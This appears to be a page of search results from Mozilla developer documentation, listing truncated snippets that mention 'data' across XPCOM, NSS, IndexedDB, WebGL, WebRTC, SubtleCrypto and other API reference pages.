...later nss_cmsdigesteddata_create mxr 3.2 and later nss_cmsdigesteddata_destroy mxr 3.2 and later nss_cmsdigesteddata_getcontentinfo mxr 3.2 and later nss_cmsderencode mxr 3.2 and later nss_cmsencoder_cancel mxr 3.2 and later nss_cmsencoder_finish mxr 3.2 and later nss_cmsencoder_start mxr 3.2 and later nss_cmsencoder_update mxr 3.2 and later nss_cmsencrypteddata_create mxr 3.2 and later nss_cmsencrypteddata_destroy mxr 3.2 and later nss_cmsencrypteddata_getcontentinfo mxr 3.2 and later ...
...And 4 more matches
Mork
MozillaTechMork
mork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...the information on this page was constructed by reading the source code of the mork database in mozilla and attempting to codify what it parses as faithfully as possible.
...mork structure mork is a schema-less database format.
...And 4 more matches
Using the Places keywords API
each keyword can be associated with post data, in such a case a post action will be executed when the given url is selected from the awesomebar.
... different keywords can reference the same url, if their post data differ.
...it has the following properties: keyword: string representing the keyword url: either a url or spec represeting the url to associate to postdata: optional post data string.
...And 4 more matches
Using XPCOM Utilities to Make Things Easier
much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro.
...they are fairly complex because they support the gecko layout engine and other subsystems that manage large chunks of data.
...for weblock, where the string classes need to be only wrappers around already existing string data, trading advanced functionality for a much smaller footprint is the right way to go.
...And 4 more matches
nsACString
nsacstring corresponds to the acstring and autf8string xpidl data types.
...that is, it may be used to store utf-8 characters, ascii characters, or any random binary data.
...if used with xpidl, then the character encodings of the corresponding xpidl data types applies.
...And 4 more matches
nsAString
nsastring corresponds to the astring and domstring xpidl data types.
...that is, it may be used to store utf-16 characters, ucs-2 characters, or any random double-byte data.
...if used with xpidl, then the character encodings of the corresponding xpidl data types applies.
...And 4 more matches
nsIApplicationCacheNamespace
method overview void init(in unsigned long itemtype, in acstring namespacespec, in acstring data); attributes attribute type description data acstring data associated with the namespace, such as a fallback.
...if the data is a uri, this attribute should be the uri's asciispec.
...the data attribute is not used.
...And 4 more matches
nsIDownloadManager
datasource nsirdfdatasource read only.
... obsolete since gecko 1.8 dbconnection mozistorageconnection the database connection to the downloads database.
... atempfile the location of a temporary file (a file in which the received data will be stored but is not equal to the target file).
...And 4 more matches
nsIDragService
add-ons should use the standard datatransfer drag and drop api instead.
...dragsession( in nsidomnode adomnode, in nsisupportsarray atransferables, in nsiscriptableregion aregion, in unsigned long aactiontype ); void invokedragsessionwithimage(in nsidomnode adomnode, in nsisupportsarray atransferablearray, in nsiscriptableregion aregion, in unsigned long aactiontype, in nsidomnode aimage, in long aimagex, in long aimagey, in nsidomdragevent adragevent, in nsidomdatatransfer adatatransfer); void invokedragsessionwithselection(in nsiselection aselection, in nsisupportsarray atransferablearray, in unsigned long aactiontype, in nsidomdragevent adragevent, in nsidomdatatransfer adatatransfer); void startdragsession( ) ; void suppress(); void unsuppress(); constants constant value description ...
...if this is an html <image> or <canvas> element, the drag image is taken from the image data.
...And 4 more matches
nsIExternalHelperAppService
tservice(components.interfaces.nsiexternalhelperappservice); method overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in boolean aforcesave); methods applydecodingforextension() determines whether or not data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications.
... return value true if data from urls with the specified extension and encoding should be decoded prior to saving the file or delivering it to a helper application; otherwise false.
...the caller should pump data into the returned stream listener.
...And 4 more matches
nsIMsgFolder
sitionstate adispositionflag); void markmessagesread(in nsisupportsarray messages, in boolean markread); void markallmessagesread(); void markmessagesflagged(in nsisupportsarray messages, in boolean markflagged); void markthreadread(in nsimsgthread thread); void setlabelformessages(in nsisupportsarray messages, in nsmsglabelvalue label); nsimsgdatabase getmsgdatabase(in nsimsgwindow msgwindow); void setmsgdatabase(in nsimsgdatabase msgdatabase); nsimsgdatabase getdbfolderinfoanddb(out nsidbfolderinfo folderinfo); nsimsgdbhdr getmessageheader(in nsmsgkey msgkey); boolean shouldstoremsgoffline(in nsmsgkey msgkey); boolean hasmsgoffline(in nsmsgkey msgkey); nsiinputstream getofflinefilestre...
...newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolderevent(in nsiatom event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean aloc...
... methods startfolderloading() void startfolderloading(); endfolderloading() void endfolderloading(); updatefolder() get new headers for the database.
...And 4 more matches
nsIWebProgressListener
state_transferring 0x00000004 this flag indicates that data for a request is being transferred to an end consumer.
... constant value description state_is_insecure 0x00000004 this flag indicates that the data corresponding to the request was received over an insecure channel.
... state_is_secure 0x00000002 this flag indicates that the data corresponding to the request was received over a secure channel.
...And 4 more matches
XPCOM primitive
the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray.
... also, certain apis, such as nsitransferable.settransferdata(), require primitives.
... (however, if you are designing that kind of api today, you should probably use nsivariant instead.) idl data type interface component idl nsidptr nsisupportsid @mozilla.org/supports-id;1 [scriptable, uuid(d18290a0-4a1c-11d3-9890-006008962422)] interface nsisupportsid : nsisupportsprimitive { attribute nsidptr data; string tostring(); }; astring nsisupportsstring @mozilla.org/supports-string;1 [scriptable, uuid(d79dc970-4a1c-11d3-9890-006008962422)] interface nsisupportsstring : nsisupportsprimitive { attribute astring data; wstring tostring(); }; prbool nsisupportsprbool @mozilla.org/supports-prbool;1 [scriptable, uuid(ddc3b490-4a1c-11d3-9890-006008962422)] interface nsisupportsprbool : nsisupportsprimitive { attribute prbool data; string tostring(); }; prui...
...And 4 more matches
Mail client architecture overview
the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services.
... datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf.
... rdf will use the datasource to create user interfaces based on this data.
...And 4 more matches
Mail composition back end
you also have the ability to save rfc822 files to disk, should you need this data for some reason.
... const struct nsmsgattachmentdata *attachments, - subsequent attachments are provided as urls to load, described in the nsmsgattachmentdata structures.
... ns_imethod onstartcopy( nsisupports *listenerdata) = 0; - the nsisupports pointer passed in to the original copy operation onprogress the onprogress interface is called with progress notification for the copy operation.
...And 4 more matches
Adding items to the Folder Pane
first, some necessary background on how the folder pane constructs the data it displays.
...each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
... when this happens, the folder pane consults the map-generator for the current mode, and that generator returns the necessary data for the folder pane's display.
...And 4 more matches
CType
all data types declared using the js-ctypes api are represented by ctype objects.
...the specific properties and methods on each object vary depending on the data type represented.
... there are several kinds of types: primitive types these are typical unstructured data, such as the predefined types listed in predefined data types.
...And 4 more matches
Library
method overview close(); cdata declare(name, [abi, ], returntype[, argtype1, ...]); methods close() closes the library.
...this can be used both for exported data symbols and for functions.
... cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
...And 4 more matches
Debugger.Object - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
... hostannotations a javascript object providing further metadata about the referent, or null if none is available.
... the metadata object is in the same compartment as this debugger.object instance.
...And 4 more matches
AesGcmParams - Web APIs
for details of how to supply appropriate values for this parameter, see the specification for aes-gcm: nist sp800-38d, in particular section 5.2.1.1 on input data.
... additionaldata optional a buffersource.
... this contains additional data that will not be encrypted but will be authenticated along with the encrypted data.
...And 4 more matches
Manipulating video using canvas - Web APIs
by combining the capabilities of the video element with a canvas, you can manipulate video data in real time to incorporate a variety of visual effects to the video being displayed.
... manipulating the video frame data the computeframe() method, shown below, is responsible for actually fetching a frame of data and performing the chroma-keying effect.
... processor.computeframe = function computeframe() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); let frame = this.ctx1.getimagedata(0, 0, this.width, this.height); let l = frame.data.length / 4; for (let i = 0; i < l; i++) { let r = frame.data[i * 4 + 0]; let g = frame.data[i * 4 + 1]; let b = frame.data[i * 4 + 2]; if (g > 100 && r > 100 && b < 43) frame.data[i * 4 + 3] = 0; } this.ctx2.putimagedata(frame, 0, 0); return; } when this routine is called, the video element is displaying the most recent frame of video data, which looks like this: in line 2, that frame of video is copied into the graphics context ctx1 of the first canvas, specifying as the height and width the values we previously saved to dra...
...And 4 more matches
FileReaderSync - Web APIs
methods filereadersync.readasarraybuffer() this method converts a specified blob or a file into an arraybuffer representing the input data as a binary string.
... filereadersync.readasbinarystring() this method converts a specified blob or a file into a domstring representing the input data as a binary string.
... filereadersync.readastext() this method converts a specified blob or a file into a domstring representing the input data as a text string.
...And 4 more matches
IDBCursor.continue() - Web APIs
dataerror the key parameter may have any of the following conditions: the key is not a valid key.
...the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
IDBCursor.direction - Web APIs
syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in which the cursor is traversing the data.
... the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
the cursor's key can be any data type.
... the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
IDBCursor - Web APIs
WebAPIIDBCursor
the idbcursor interface of the indexeddb api represents a cursor for traversing or iterating over multiple records in a database.
...the cursor's key can be any data type.
...the cursor's primary key can be any data type.
...And 4 more matches
IDBCursorWithValue - Web APIs
the idbcursorwithvalue interface of the indexeddb api represents a cursor for traversing or iterating over multiple records in a database.
...the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
dataerror the key or key range provided contains an invalid key.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 4 more matches
IDBIndex.multiEntry - Web APIs
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
... for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.multientry); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
...And 4 more matches
IDBIndex.name - Web APIs
WebAPIIDBIndexname
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, inserting the data into an html table.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.name); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
...And 4 more matches
IDBIndex.objectStore - Web APIs
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table.
... for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.objectstore); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
...And 4 more matches
IDBIndex.openKeyCursor() - Web APIs
dataerror the key or key range provided contains an invalid key.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.openkeycursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml...
...And 4 more matches
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
... for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.unique); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
...And 4 more matches
IDBObjectStore.autoIncrement - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBObjectStore.indexNames - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = this.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBObjectStore.keyPath - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBObjectStore.name - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBObjectStore.transaction - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store using add().
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api provides access to results of asynchronous requests to databases and database objects using event handler attributes.
... each reading and writing operation on a database is done using a request.
...(you're just connecting to a database, so there is no transaction to return).
...And 4 more matches
IDBTransaction.error - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.erro...
...And 4 more matches
IDBTransaction.objectStore() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 4 more matches
IDBTransaction.onabort - Web APIs
}; example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error...
...And 4 more matches
IDBTransaction.onerror - Web APIs
}; example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.erro...
...And 4 more matches
IDBVersionChangeEvent.newVersion - Web APIs
the newversion read-only property of the idbversionchangeevent interface returns the new version number of the database.
... example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases.
...// moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, // so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 4 more matches
IDBVersionChangeRequest - Web APIs
warning: the latest specification does not include this interface anymore as the idbdatabase.setversion() method has been removed.
... the idbversionchangerequest interface the indexeddb api represents a request to change the version of a database.
... it is used only by the setversion() method of idbdatabase.
...And 4 more matches
LocalFileSystem - Web APIs
for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are backed up into the cloud.
...so to request storage, you need to do something like the following: var requestedbytes = 1024*1024*10; // 10mb navigator.webkitpersistentstorage.requestquota ( requestedbytes, function(grantedbytes) { window.requestfilesystem(persistent, grantedbytes, oninitfs, errorhandler); }, function(e) { console.log('error', e); } ); your user must grant your app permission to store data locally before your app can use persistent storage.
... methods requestfilesystem() requests a file system where data should be stored.
...And 4 more matches
MediaRecorder.start() - Web APIs
you can record the entire duration of the media into a single blob (or until you call requestdata()), or you can specify the number of milliseconds to record at a time.
...a blob is created and the data is collected in it until the time slice period elapses or the source media ends.
... each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was provided), a dataavailable event is sent to the mediarecorder with the recorded data.
...And 4 more matches
MediaRecorder - Web APIs
mediarecorder.requestdata() requests a blob containing the saved data received thus far (or since the last time requestdata() was called.
... mediarecorder.stop() stops recording, at which point a dataavailable event containing the final blob of saved data is fired.
... event handlers mediarecorder.ondataavailable called to handle the dataavailable event, which is periodically triggered each time timeslice milliseconds of media have been recorded (or when the entire media has been recorded, if timeslice wasn't specified).
...And 4 more matches
MediaTrackSettings - Web APIs
this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia().
...latency is the amount of time which elapses between the start of processing the audio and the data being available to the next stop in the audio utilization process.
...And 4 more matches
Navigation Timing API - Web APIs
the navigation timing api provides data that can be used to measure the performance of a web site.
... concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques.
... this api lets you measure data that was previously difficult to obtain, such as the amount of time needed to unload the previous page, how long domain lookups take, the total time spent executing the window's load handler, and so forth.
...And 4 more matches
Node - Web APIs
WebAPINode
these include attr, characterdata (which text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference.
...possible values are: name value element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 node.nodevalue returns / sets the value of the current node.
... node.isequalnode() returns a boolean which indicates whether or not two nodes are of the same type and all their defining data points match.
...And 4 more matches
Using Service Workers - Web APIs
using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first).
...it uses a promise-powered function to read image data from a json object and load the images using ajax, before displaying the images in a line down the page.
...in this version, we pass in a json fragment containing all the data for a single image (see what they look like in image-list.js).
...And 4 more matches
SubtleCrypto.encrypt() - Web APIs
c the encrypt() method of the subtlecrypto interface encrypts data.
... it takes as its arguments a key to encrypt with, some algorithm-specific parameters, and the data to encrypt (also known as "plaintext").
... it returns a promise which will be fulfilled with the encrypted data (also known as "ciphertext").
...And 4 more matches
SubtleCrypto.importKey() - Web APIs
syntax const result = crypto.subtle.importkey( format, keydata, algorithm, extractable, usages ); parameters format is a string describing the data format of the key to import.
... keydata is an arraybuffer, a typedarray, a dataview, or a jsonwebkey object containing the key in the given format.
... typeerror raised when trying to use an invalid format or if the keydata is not suited for that format.
...And 4 more matches
WebGL2RenderingContext.texSubImage3D() - Web APIs
srcdata, optional srcoffset); void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, imagebitmap?
... pixels); void gl.texsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, imagedata?
... format a glenum specifying the format of the texel data.
...And 4 more matches
WebGLRenderingContext.texSubImage2D() - Web APIs
pixels); void gl.texsubimage2d(target, level, xoffset, yoffset, format, type, imagedata?
...image2d(target, level, xoffset, yoffset, width, height, format, type, htmlimageelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, htmlvideoelement source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, imagebitmap source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, imagedata source); void gl.texsubimage2d(target, level, xoffset, yoffset, width, height, format, type, arraybufferview srcdata, srcoffset); parameters target a glenum specifying the binding point (target) of the active texture.
... format a glenum specifying the format of the texel data.
...And 4 more matches
WebGLRenderingContext - Web APIs
webglrenderingcontext.bufferdata() updates buffer data.
... webglrenderingcontext.buffersubdata() updates buffer data starting at a passed offset.
... webglrenderingcontext.renderbufferstorage() creates a renderbuffer data store.
...And 4 more matches
Lifetime of a WebRTC session - Web APIs
webrtc lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
...network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to and from devices on a lan, all of which are sharing a single wan (global) ip address.
... signaling signaling is the process of sending control information between two devices to determine the communication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information.
...And 4 more matches
Signaling and video calling - Web APIs
webrtc is a fully peer-to-peer technology for the real-time exchange of audio, video, and data, with one central caveat.
... it's important to note that the server doesn't need to understand or interpret the signaling data content.
...what does matter is when the ice subsystem instructs you to send signaling data to the other peer, you do so, and the other peer knows how to receive this information and deliver it to its own ice subsystem.
...And 4 more matches
WebSocket - Web APIs
WebAPIWebSocket
the websocket object provides the api for creating and managing a websocket connection to a server, as well as for sending and receiving data on the connection.
... constants constant value websocket.connecting 0 websocket.open 1 websocket.closing 2 websocket.closed 3 properties websocket.binarytype the binary data type used by the connection.
... websocket.bufferedamount read only the number of bytes of queued data.
...And 4 more matches
Rendering and the WebXR frame animation callback - Web APIs
preparing the renderer once the xr session has been set up, with the webgl framebuffer connected and webgl primed with the data it needs in order to render the scene, you can set up the renderer to start running.
... hardare vertical refresh rate when the browser is ready to refresh the <canvas> within which your webxr content is displayed, it calls your frame rendering callback, which uses the specified timestamp and any other relevant data, such as models and textures, as well as application state, to render the scene—as it should appear at the specified time—into the webgl backbuffer.
...by simply having your computations and data ready before the frame is actually called for, you can make your site or app render much more efficiently, improving main thread performance and generally making the user experience better.
...And 4 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input devices which generate data used to determine the position and movement of individual parts of the viewer's body (with appropriate equipment).
...other hardware elements can be used similarly to represent other parts of the body, providing additional data to use when simulating the user's actions in their environment.
...with no orientation data included in the transform, the orientation of arefspace is unaffected.
